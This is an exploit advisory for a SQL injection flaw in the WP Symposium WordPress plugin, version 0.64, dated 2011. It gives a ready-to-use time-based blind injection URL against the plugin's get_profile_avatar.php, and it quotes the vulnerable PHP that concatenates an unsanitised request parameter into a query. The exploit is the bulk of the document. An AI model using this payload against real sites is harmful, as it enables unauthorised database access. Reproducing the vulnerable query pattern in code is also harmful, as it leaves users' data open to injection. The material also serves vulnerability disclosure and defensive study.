WordPress WP Symposium 0.64 SQL Injection

`# Exploit Title: WordPress WP Symposium plugin <= 0.64 SQL Injection Vulnerability  
# Date: 2011-08-17  
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)  
# Software Link: http://downloads.wordpress.org/plugin/wp-symposium.0.64.zip  
# Version: 0.64 (tested)  
  
---  
PoC  
---  
http://localhost/wp-content/plugins/wp-symposium/uploadify/get_profile_avatar.php?uid=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)  
  
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Vulnerable code  
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$uid = $_REQUEST['uid'];  
$sql = "SELECT profile_avatar FROM ".$wpdb->base_prefix."symposium_usermeta WHERE uid = ".$uid;  
  
`